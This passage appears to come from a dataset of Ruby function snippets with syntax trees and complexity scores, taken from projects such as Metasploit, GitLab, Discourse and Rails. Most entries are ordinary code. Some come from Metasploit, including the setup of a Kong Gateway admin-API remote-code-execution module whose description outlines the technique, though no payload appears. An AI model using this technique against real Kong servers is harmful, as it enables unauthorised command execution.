Google\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"json_key_data_raw\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Could not parse service account json: JSON::ParseError\"]}]}]},null]}]}]}]}]}]}]}]}","id":"cbdc3ed0-457b-41be-b9a7-5bcdea9042f2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb","start_line":210,"raw_source":"def build_subkey(opts={})\n              subkey_type = opts.fetch(:subkey_type) { Rex::Proto::Kerberos::Crypto::Encryption::DefaultEncryptionType }\n              subkey_value = opts.fetch(:subkey_value) { Rex::Proto::Kerberos::Crypto::Encryption::from_etype(subkey_type).string_to_key(Rex::Text.rand_text_alphanumeric(16), '') }\n\n              subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new(\n                type: subkey_type,\n                value: subkey_value\n              )\n\n              subkey\n            end","complexity_score":13.08,"ast_json":"{\"type\":\"def\",\"children\":[\"build_subkey\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subkey_type\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"subkey_type\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"DefaultEncryptionType\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subkey_value\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"subkey_value\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"from_etype\",{\"type\":\"lvar\",\"children\":[\"subkey_type\"]}]},\"string_to_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subkey\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"EncryptionKey\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"subkey_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"subkey_value\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"subkey\"]}]}]}","id":"58818571-b1da-4f16-88c5-f3c910cad103"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/modules/cve_xref.rb","start_line":70,"raw_source":"def cross_reference(reference_matches)\n      return nil if reference_matches.empty?\n      xref_table = XRefTable.new(reference_matches)\n\n      database.each_pair do |cve_name, references|\n        references.each do |cve_ref|\n          if xref_table.has_match?(cve_ref)\n            return cve_name\n          end\n        end\n      end\n\n      nil\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cross_reference\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reference_matches\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reference_matches\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"xref_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"XRefTable\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"reference_matches\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cve_name\"]},{\"type\":\"arg\",\"children\":[\"references\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cve_ref\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xref_table\"]},\"has_match?\",{\"type\":\"lvar\",\"children\":[\"cve_ref\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cve_name\"]}]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"33634a67-b353-4f1a-98a7-f0b75957cbd9"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_redirect.rb","start_line":218,"raw_source":"def friendly_model? exp\n    call? exp and model_name? exp.target and exp.method == :friendly\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"friendly_model?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},{\"type\":\"send\",\"children\":[null,\"model_name?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"friendly\"]}]}]}]}","id":"6acdb452-4101-4ca7-a416-a3292d0bba83"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":3114,"raw_source":"def update_chat_membership_metadata\n    unless defined?(::Chat)\n      puts \"\",\n           \"Skipping chat membership metadata updates, because the chat plugin is not installed.\"\n      return\n    end\n\n    puts \"\", \"Updating chat membership metadata...\"\n\n    start_time = Time.now\n\n    # Ensure the user is caught up on all messages in the channel. The primary aim is to prevent\n    # new message indicators from showing up for imported messages. We do this by updating\n    # the `last_viewed_at` and `last_read_message_id` columns in `user_chat_channel_memberships`\n    # if they were not imported.\n    DB.exec(<<~SQL)\n      WITH latest_messages AS (\n        SELECT\n          chat_channel_id,\n          MAX(id) AS last_message_id,\n          MAX(created_at) AS last_message_created_at\n        FROM chat_messages\n        WHERE thread_id IS NULL\n        GROUP BY chat_channel_id\n      )\n      UPDATE user_chat_channel_memberships uccm\n      SET\n        last_read_message_id = COALESCE(uccm.last_read_message_id, lm.last_message_id),\n        last_viewed_at = CASE\n                           WHEN uccm.last_viewed_at = '#{LAST_VIEWED_AT_PLACEHOLDER}'\n                           THEN lm.last_message_created_at + INTERVAL '1 second'\n                           ELSE uccm.last_viewed_at\n                         END\n      FROM latest_messages lm\n      WHERE uccm.chat_channel_id = lm.chat_channel_id\n    SQL\n\n    # Set `last_read_message_id` in `user_chat_thread_memberships` if none is provided.\n    # Similar to the chat channel membership update above, this ensures the user is caught up on messages in the thread.\n    DB.exec(<<~SQL)\n      WITH latest_thread_messages AS (\n        SELECT\n            thread_id,\n            MAX(id) AS last_message_id\n        FROM chat_messages\n        WHERE thread_id IS NOT NULL\n        GROUP BY thread_id\n      )\n      UPDATE user_chat_thread_memberships utm\n      SET\n        last_read_message_id = ltm.last_message_id\n      FROM latest_thread_messages ltm\n      WHERE utm.thread_id = ltm.thread_id\n        AND utm.last_read_message_id IS NULL\n    SQL\n\n    puts \"  Update took #{(Time.now - start_time).to_i} seconds.\"\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_chat_membership_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Skipping chat membership metadata updates, because the chat plugin is not installed.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Updating chat membership metadata...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH latest_messages AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"    chat_channel_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    MAX(id) AS last_message_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    MAX(created_at) AS last_message_created_at\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM chat_messages\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE thread_id IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"  GROUP BY chat_channel_id\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"UPDATE user_chat_channel_memberships uccm\\n\"]},{\"type\":\"str\",\"children\":[\"SET\\n\"]},{\"type\":\"str\",\"children\":[\"  last_read_message_id = COALESCE(uccm.last_read_message_id, lm.last_message_id),\\n\"]},{\"type\":\"str\",\"children\":[\"  last_viewed_at = CASE\\n\"]},{\"type\":\"str\",\"children\":[\"                     WHEN uccm.last_viewed_at = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LAST_VIEWED_AT_PLACEHOLDER\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"                     THEN lm.last_message_created_at + INTERVAL '1 second'\\n\"]},{\"type\":\"str\",\"children\":[\"                     ELSE uccm.last_viewed_at\\n\"]},{\"type\":\"str\",\"children\":[\"                   END\\n\"]},{\"type\":\"str\",\"children\":[\"FROM latest_messages lm\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE uccm.chat_channel_id = lm.chat_channel_id\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH latest_thread_messages AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"      thread_id,\\n\"]},{\"type\":\"str\",\"children\":[\"      MAX(id) AS last_message_id\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM chat_messages\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE thread_id IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\"  GROUP BY thread_id\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"UPDATE user_chat_thread_memberships utm\\n\"]},{\"type\":\"str\",\"children\":[\"SET\\n\"]},{\"type\":\"str\",\"children\":[\"  last_read_message_id = ltm.last_message_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM latest_thread_messages ltm\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE utm.thread_id = ltm.thread_id\\n\"]},{\"type\":\"str\",\"children\":[\"  AND utm.last_read_message_id IS NULL\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  Update took \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\" seconds.\"]}]}]}]}]}","id":"e2b51168-051a-4720-917b-4a47d34bc946"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/menu.rb","start_line":116,"raw_source":"def has_renderable_items?\n      renderable_items.any?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_renderable_items?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"renderable_items\"]},\"any?\"]}]}","id":"c1a00b10-50b7-4f93-abc1-422a8a1d8067"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb","start_line":26,"raw_source":"def commands\n    all = {\n      'window_enum' => 'Enumerate all current open windows'\n    }\n    reqs = {\n      'window_enum' => [COMMAND_ID_EXTAPI_WINDOW_ENUM]\n    }\n    filter_commands(all, reqs)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"window_enum\"]},{\"type\":\"str\",\"children\":[\"Enumerate all current open windows\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reqs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"window_enum\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_WINDOW_ENUM\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"filter_commands\",{\"type\":\"lvar\",\"children\":[\"all\"]},{\"type\":\"lvar\",\"children\":[\"reqs\"]}]}]}]}","id":"40871f6f-e8d0-44b5-b718-b63bc1944439"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/kong_gateway_admin_api_rce.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Kong Gateway Admin API Remote Code Execution',\n        'Description' => %q{\n          This module uses the Kong admin API to create a route and a serverless function plugin that is associated with\n          the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the\n          route is deleted, which also deletes the plugin.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['Graeme Robinson'],\n        'References' => [\n          ['URL', 'https://konghq.com/'],\n          ['URL', 'https://github.com/Kong/kong'],\n          ['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/']\n        ],\n        'Platform' => %w[linux macos],\n        'Arch' => [ARCH_X86, ARCH_X64],\n        'Targets' => [\n          [\n            'Unix (In-Memory)',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_memory\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2020-10-13',\n        'DefaultOptions' => { 'RPORT' => 8001 },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']),\n        OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]),\n        OptString.new('TARGETURI', [true, 'URI to the Kong server', '/'])\n      ],\n      self.class\n    )\n  end","complexity_score":9.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Kong Gateway Admin API Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module uses the Kong admin API to create a route and a serverless function plugin that is associated with\\n\"]},{\"type\":\"str\",\"children\":[\"          the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the\\n\"]},{\"type\":\"str\",\"children\":[\"          route is deleted, which also deletes the plugin.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Graeme Robinson\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://konghq.com/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/Kong/kong\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://docs.konghq.com/hub/kong-inc/serverless-functions/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"macos\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix (In-Memory)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_memory\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-10-13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8001]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PUBLIC-API-RHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The host where the public API is available, if different to RHOST\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"PUBLIC-API-RPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The port where the public API is available\"]},{\"type\":\"int\",\"children\":[8000]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"URI to the Kong server\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"12d91b14-ab2d-4f60-9726-48b6a23c4c58"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":16,"raw_source":"def average(column_name)\n        exec_explain { @relation.average(column_name) }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"average\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exec_explain\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation\"]},\"average\",{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]}","id":"e306c908-a9ea-4f7d-a791-f323a1ebaa57"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/helpers/application_helper.rb","start_line":56,"raw_source":"def active_visit_places_tab?(controller_name)\n    'tab-active' if current_page?(controller: controller_name)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"active_visit_places_tab?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_page?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"lvar\",\"children\":[\"controller_name\"]}]}]}]},{\"type\":\"str\",\"children\":[\"tab-active\"]},null]}]}","id":"c6f64627-463c-49ce-a337-db7140c2a9b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/timelog_type.rb","start_line":64,"raw_source":"def spent_at\n      object.spent_at || object.created_at\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"spent_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"spent_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"created_at\"]}]}]}","id":"9a1695b1-6cb2-4ab6-b15a-9dcadb389c64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/pipeline_serializer.rb","start_line":18,"raw_source":"def represent_status(resource)\n    return {} unless resource.present?\n\n    data = represent(resource, { only: [{ details: [:status] }] })\n    data.dig(:details, :status) || {}\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"represent_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"represent\",{\"type\":\"lvar\",\"children\":[\"resource\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"04ce4fa9-a510-4f0b-8570-6edea1e471a2"}
{"repo_name":"forem","file_path":"./repos/forem/app/decorators/campaign_decorator.rb","start_line":23,"raw_source":"def main_tag\n    @main_tag ||= featured_tags.first\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"main_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@main_tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"featured_tags\"]},\"first\"]}]}]}","id":"4f44cad9-4bec-47f8-af6f-8c7e7c1b3a40"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/models/relative_positioning_shared_examples.rb","start_line":799,"raw_source":"def perform\n          subject.move_between(item1, item2)\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"move_between\",{\"type\":\"send\",\"children\":[null,\"item1\"]},{\"type\":\"send\",\"children\":[null,\"item2\"]}]}]}","id":"4953fb5f-ef26-48cd-941e-361d3b281991"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb","start_line":33,"raw_source":"def mailhog_json\n        Support::Retrier.retry_until(sleep_interval: 1) do\n          Runtime::Logger.debug(%(retrieving \"#{QA::Runtime::MailHog.api_messages_url}\"))\n\n          mailhog_response = get QA::Runtime::MailHog.api_messages_url\n\n          mailhog_data = JSON.parse(mailhog_response.body)\n          total = mailhog_data['total']\n          subjects = mailhog_data['items']\n            .map { |item| mailhog_item_subject(item) }\n\n          Runtime::Logger.debug(%(Total number of emails: #{total}))\n          Runtime::Logger.debug(%(Subjects:\\n#{subjects.join(\"\\n\")}))\n\n          # Expect at least two invitation messages: group and project\n          mailhog_data if mailhog_project_message_count(subjects) >= 1\n        end\n      